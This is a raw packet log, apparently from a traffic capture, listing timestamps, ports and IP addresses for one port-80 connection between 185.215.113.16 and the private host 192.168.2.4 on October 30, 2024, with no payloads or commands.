Oct 30, 2024 12:36:51.476315975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476320028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476325989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476344109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476352930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476353884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476353884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476363897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476372957 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476375103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476386070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476402998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476413012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476413965 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476424932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476440907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476445913 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476452112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476461887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476463079 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476473093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476481915 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476484060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476495028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476511955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476516962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476524115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476533890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476540089 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476545095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476557016 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476557970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476577044 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476578951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476589918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476600885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476605892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476617098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476624012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476624966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476638079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476658106 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476675987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476676941 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476686954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476711988 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476753950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476779938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476795912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476807117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476816893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476824045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476826906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476843119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476850986 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476850986 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476861000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476871014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476877928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476881027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476891994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476902008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476902008 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476919889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476928949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476938963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476942062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476952076 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476959944 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476962090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476978064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477019072 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477384090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477394104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477404118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477438927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477459908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477471113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477478981 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477480888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477494955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477504969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477513075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477524042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477529049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477535963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477551937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477561951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477562904 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477574110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477596045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477602005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477612972 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477613926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477623940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477643013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477667093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477667093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477675915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477686882 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477695942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477708101 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477730036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477736950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477746964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477749109 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477758884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477770090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477787018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477788925 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477796078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477807045 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477834940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477847099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477869034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477900028 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.477933884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477950096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477960110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477971077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477982044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477992058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.477991104 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478004932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478020906 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478065014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478071928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478071928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478110075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478111982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478126049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478137016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478147030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478149891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478169918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478188038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478192091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478203058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478213072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478231907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478243113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478280067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478280067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478365898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478377104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478390932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478409052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478441954 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478441954 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478446960 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478458881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478467941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478478909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478490114 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478493929 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478518963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478549004 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478602886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478615999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478631973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478641987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478652954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478657007 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478662014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478682995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478713036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478883028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478899002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478909969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478919983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478929043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478930950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478940964 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.478959084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.478988886 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479294062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479305029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479321003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479346991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479358912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479360104 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479367971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479379892 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479408026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479435921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479441881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479460001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479470968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479496956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479506969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479507923 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479516983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479527950 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479557037 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479906082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479917049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479933977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479944944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479954958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.479970932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.479970932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480005980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480045080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480061054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480071068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480115891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480115891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480161905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480223894 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480240107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480295897 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480295897 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480340958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480350971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480360985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480370998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480381012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480389118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480391979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480407953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480417967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480417013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480428934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480437994 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480439901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480451107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480458975 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480462074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480487108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480514050 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480581999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480592966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480602980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480614901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480626106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480632067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480637074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480647087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480663061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480674028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480674982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480684042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480693102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480693102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480705023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480715036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480720043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480726957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480739117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480741978 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480762005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480775118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480784893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480784893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480791092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480802059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480813026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480823994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480824947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480842113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480855942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480859995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480865955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480895042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480896950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480911970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480914116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480922937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480932951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.480967999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.480968952 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481018066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481026888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481033087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481060028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481065035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481070995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481087923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481096983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481115103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481115103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481134892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481142998 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481144905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481153965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481164932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481180906 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481199980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481590033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481600046 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481612921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481625080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481633902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481642008 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481645107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481678009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481678963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481678009 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481703997 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481734037 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481739998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481750965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481781006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481811047 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481817961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481837034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481847048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481857061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481858969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481868982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481878996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481884003 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481884003 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481889963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481899977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481906891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481909990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481919050 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.481931925 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481961966 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.481990099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482001066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482011080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482038021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482084036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482095957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482096910 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482105970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482120991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482151985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482151985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482227087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482244015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482253075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482265949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482275009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482285023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.482292891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482292891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.482294083 CET	80	49747	185.215.113.16	192.168.2.4
